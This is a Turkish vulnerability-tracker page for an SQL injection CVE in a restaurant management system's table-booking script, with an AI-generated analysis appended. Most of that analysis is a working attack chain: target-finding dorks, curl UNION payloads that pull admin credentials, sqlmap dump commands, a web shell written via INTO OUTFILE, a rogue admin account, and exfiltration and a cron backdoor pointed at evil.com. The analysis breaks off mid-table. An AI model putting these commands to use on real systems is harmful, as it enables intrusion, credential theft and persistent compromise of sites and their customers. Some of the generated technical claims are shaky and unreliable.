CVE Professor — Güvenlik Açığı Takip & Analiz
›
CVE-2026-103232

CWE-74 · CWE-89

YÜKSEK CVSS 7.3 ⚡ EPSS 0.3% NVD

A weakness has been identified in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This affects the function mysqli_query of the file admin/table_booking.php. This manipulation of the argument Name causes sql injection. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

Yayınlanma 30.09.2026
ISO Tarih 2026-09-30
CVSS Sürüm v3.1
Kaynak NVD
CVSS v3.1 Metrikleri
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality Low C:L
Integrity Low I:L
Availability Low A:L
EPSS — Exploit Olasılık Skoru
0.3%
30 günlük olasılık
Tüm CVElerin 26. yüzdeliğinde — Bu açığın istismar edilme ihtimali çoğu CVEden yüksek.
AI Güvenlik Analizi

🎯 Açık Nedir? / What is this vulnerability?

Kısaca:
admin/table_booking.php dosyasındaki mysqli_query() fonksiyonuna gönderilen Name parametresi doğrudan, hiçbir sanitizasyon, prepared‑statement ya da escape işlemi uygulanmadan SQL sorgusuna ekleniyor. Bu durum SQL Injection (CWE‑89) ve OS Command Injection (CWE‑74) (çünkü bazı sorgular içinde LOAD_FILE() gibi dosya okuma fonksiyonları kullanılabiliyor) ortaya çıkmasına yol açıyor.

Kod akışı (örnek):

```php
// admin/table_booking.php (v7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c)
if (isset($_POST['Name'])) {
$name = $_POST['Name']; // <‑‑ Kullanıcı girdisi doğrudan alınıyor
$sql = "SELECT * FROM bookings WHERE name = '$name'"; // <-- Enjeksiyon noktası
$res = mysqli_query($conn, $sql); // <‑‑ Hazırlıksız sorgu
// ...
}
```

  • Neden güvenlik açığı?
  • - $name değişkeni herhangi bir karakter içerebilir (', ", ;, --, / … / vb.). - mysqli_query() sadece stringi olduğu gibi veritabanına gönderir; prepared statement ya da mysqli_real_escape_string() kullanılmaz. - Bu sayede saldırgan SQL komutlarını mevcut sorguya enjekte edebilir, veri sızdırabilir, veri değiştirebilir ya da UNION SELECT ile sistemdeki diğer tabloları okuyabilir. - Projede bazı raporlama sorgularında SELECT LOAD_FILE('/etc/passwd') gibi fonksiyonlar da bulunuyor; bu da OS‑level dosya okuma (CWE‑74) riskini doğurur.

    Uzakdan (Remote) Exploit Edilebilir:
    admin/table_booking.php dosyası oturum kontrolü (PR:N) gerektirmiyor ve UI (UI:N) yok; yani bir saldırgan doğrudan HTTP isteği göndererek enjeksiyonu tetikleyebilir.

    ---

    ⚡ Saldırı Zinciri / Attack Chain

    1️⃣ Discovery – Hedefin Bulunması

    | Adım | Açıklama | Araç | |------|----------|------| | a) Shodan / Censys | http.title:"Restaurant Management System" veya admin/table_booking.php içeren URL’leri tarama. | Shodan, Censys | | b) Google Dorking | inurl:admin/table_booking.php veya intitle:"Restaurant Management System" | Google | | c) Passive DNS / Subdomain enumeration | *.restaurant‑management.com alt alan adlarını toplama. | amass, subfinder |

    2️⃣ Reconnaissance – Gerekli Bilgilerin Toplanması

    | Bilgi | Nasıl elde edilir | |-------|-------------------| | Veritabanı şeması (tablolar, sütunlar) | UNION SELECT ile hata‑bazlı veya boolean‑based teknikleri kullanarak tablo isimlerini ve sütun sayısını öğrenmek. | | Versiyon bilgisi | error_reporting açık ise MySQL hata mesajları; ayrıca phpinfo() dosyası varsa. | | Uygulama mantığı | admin/table_booking.php içinde Name parametresinin tek başına sorguya eklendiğini doğrulamak için basit ' payload’u gönderip hata alınıp alınmadığını kontrol etmek. |

    3️⃣ Exploitation – Gerçek Saldırı

    #### a) Basit “Error‑Based” SQLi örneği
    ```bash
    curl -s -X POST "http://target.com/admin/table_booking.php" \
    -d "Name=' OR 1=1-- -" \
    -H "Content-Type: application/x-www-form-urlencoded"
    ```

  • Sonuç: Tüm bookings kayıtları listelenir (eğer sonuç doğrudan ekrana basılıyorsa).
  • #### b) UNION‑Based veri sızdırma (örnek: admin kullanıcı adı & şifresi)
    ```bash

    İlk adım: sütun sayısını bulma


    curl -s "http://target.com/admin/table_booking.php?Name=' UNION SELECT NULL-- -"

    Çıktıdaki “NULL” hatasından kaç sütun olduğu anlaşılır (örnek 5).

    Veri çekme

    curl -s "http://target.com/admin/table_booking.php?Name=' UNION SELECT username, password, NULL, NULL, NULL FROM admin_users-- -" ```

    #### c) SQLMap ile otomatik sömürme
    ```bash
    sqlmap -u "http://target.com/admin/table_booking.php" \
    --data="Name=*" \
    --level=5 --risk=3 \
    --batch \
    --technique=U \
    --dump -v 3
    ```

  • --technique=U sadece UNION‑based saldırı yapar.

  • --dump tüm bulunabilir tabloları dışa aktarır.


#### d) Metasploit (eğer bir modul varsa)
Şu an için exploit/multi/http/adithyayelloju_table_booking_sqli adlı bir modul bulunmamaktadır, ancak aşağıdaki komutlarla hızlı bir custom modul oluşturulabilir:

```bash
use auxiliary/scanner/http/http_sql_injection
set RHOSTS target.com
set RPORT 80
set TARGETURI /admin/table_booking.php
set POSTDATA "Name=INJECT_HERE"
run
```

#### e) Burp Suite – Manual test adımları
1. Proxy → hedef siteye istek gönder.
2. Repeater → Name parametresine ' OR 1=1-- - ekle, Send.
3. Intruder → Payload seti: [' OR 1=1-- -', "' UNION SELECT NULL,username,password,NULL,NULL FROM admin_users-- -"].
4. Scanner → “SQL Injection” aktif, “Boolean based” ve “Error based” testlerini çalıştır.

#### f) Nuclei – Otomatik tarama şablonu (örnek)

```yaml
id: adithyayelloju-table-booking-sqli
info:
name: AdithyaYelloju Restaurant Management System - SQLi
author: yourname
severity: high
tags: sqli,web,restaurant
requests:
- method: POST
path:
- "/admin/table_booking.php"
body: "Name=' OR 1=1-- -"
matchers:
- type: word
words:
- "booking_id"
- "name"
condition: and
```

4️⃣ Post‑Exploitation

| Aksiyon | Açıklama | Nasıl yapılır | |---------|----------|---------------| | Veri Çekme | admin_users, customers, payments tabloları | UNION SELECT ile dump | | Yönetici hesabı oluşturma | INSERT INTO admin_users (username,password,role) VALUES ('hacker','<hash>', 'admin') | UNION SELECT + INSERT (MySQL INSERT ... SELECT kullanılabilir) | | Web Shell Yükleme | SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php' | LOAD_FILE/INTO OUTFILE ile PHP web shell yerleştirme | | Pivot / Lateral Movement | Web shell üzerinden sistemde netstat, ps aux çalıştırma, diğer iç ağ servislerine erişim | curl http://target.com/shell.php?cmd=... | | Veri Exfiltration | Çekilen tabloları curl -F ile saldırgan kontrolündeki sunucuya gönderme | curl -X POST -F "[email protected]" http://evil.com/collect | | Persistence | cron job ekleme (/5 * wget http://evil.com/backdoor.php -O /var/www/html/backdoor.php) | `SELECT

[🤖 GPT-OSS 120B via Groq]

Hedef Keşif Sorguları

FOFA Sorgusu

header="X-Powered-By" && header="PHP"
CVSS Skoru
7.3 / 10 · CVSS YÜKSEK
Zayıflık Türleri (CWE)
CWE-74 CWE-89
İlgili CVE'ler
10.0
CVE-2026-124815
The Clockinator Lite WordPress plugin before 1.1.0 does not restrict access to several of its record deletion
10.0
CVE-2026-122051
A flaw has been found in Edimax BR-6208AC 1.32. Affected by this vulnerability is an unknown functionality of
10.0
CVE-2026-120198
A vulnerability has been found in WAVLINK WL-WN530BE1-A V251117. Affected is the function con_check_read_finis
10.0
CVE-2026-105781
Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an SQL Comm
10.0
CVE-2026-114575
A flaw has been found in TOTOLINK A950RG 4.1.2cu.5268_B20221104. Affected by this issue is the function Upload